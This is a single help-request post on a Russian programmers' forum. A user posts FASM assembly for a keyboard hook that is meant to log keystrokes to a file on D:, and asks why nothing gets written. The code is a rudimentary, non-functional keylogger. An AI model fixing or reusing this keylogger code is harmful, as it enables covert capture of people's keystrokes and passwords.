Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Низкоуровневое программирование > Assembler - Ассемблер (FASM, MASM, WASM, NASM, GoASM, Gas, RosAsm, HLA) и не рекомендуем TASM
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 29.11.2013, 14:47   #1
juckins
Новичок
Джуниор
 
Регистрация: 25.11.2013
Сообщений: 1
По умолчанию помогите с хуками

Здравствуйте у меня возникла проблема с функцией SetWondowsHookEx,а конкретно то что я установил хук,касперский мне об этом сигналил,но я не могу записать нажатые клавиши в текстовый файл,вот код я хотел бы узнать что я делаю не так

format PE GUI 4.0
entry start

include 'win32ax.inc'

section '.data' data readable writeable
SzFile db 'D:\fi.txt',0
Buf2 dd ?
Buf db 100 dup(?)
KeySt db 256 dup (0)
crlf db 13,10,0
len_buf = $ - Buf2
le_buf = $ - Buf
hfile dd ?
HHook dd ?
gg dd ?
hInstance dd ?

section '.code' code readable executable
start:
invoke GetModuleHandle,NULL
mov [hInstance],eax
invoke _lcreat, SzFile, 0
mov [hfile], eax
hook:
invoke SetWindowsHookEx, WH_KEYBOARD, KeyBoardProc, [hInstance], NULL
mov [HHook], eax


proc KeyBoardProc nCode, WParam, LParam
cmp [nCode], HC_ACTION
jne DoWork
invoke CallNextHookEx, [HHook], [nCode], [WParam], [LParam]

DoWork:
invoke MapVirtualKey,[WParam],0
mov [gg],eax
invoke GetKeyboardState,KeySt
invoke toacii,[WParam],gg,KeySt,Buf,0
call Hi
ret
endp
proc Hi
invoke lstrlen,Buf
invoke _lwrite,[hfile],Buf, eax
jmp hook
ret
endp

section '.idata' import data readable writeable
library kernel,'KERNEL32.DLL',\
user,'USER32.DLL',\
gdi,'GDI32.DLL'


import kernel,\
_lcreat,'_lcreat',\
GetModuleHandle,'GetModuleHandleA', \
lstrcpy,'lstrcpy',\
_lwrite,'_lwrite',\
CloseHandle,'CloseHandle',\
lstrlen,'lstrlenA',\; CloseHandle
ExitProcess,'ExitProcess',\
lstrcat,'lstrcat'
import user,\
GetKeyNameText,'GetKeyNameTextA',\
GetKeyboardState ,'GetKeyboardState',\
LoadIcon,'LoadIconA',\
toacii,'ToAscii',\
MapVirtualKey,'MapVirtualKeyA',\
SetWindowsHookEx, 'SetWindowsHookExA',\
UnhookWindowsHookEx, 'UnhookWindowsHookEx',\
CallNextHookEx,'CallNextHookEx'
juckins вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Автокликер, или попытка познакомится с Хуками EXTREEM Общие вопросы Delphi 1 15.02.2013 14:00
Работа с хуками в C# Radical_Edward C# (си шарп) 6 18.10.2010 16:33
(C++) Работа с Win API, ХУКАМИ. stribogaaa Общие вопросы C/C++ 10 12.05.2010 18:12
Немогу разобраться с хуками! Altera Win Api 12 14.12.2008 17:15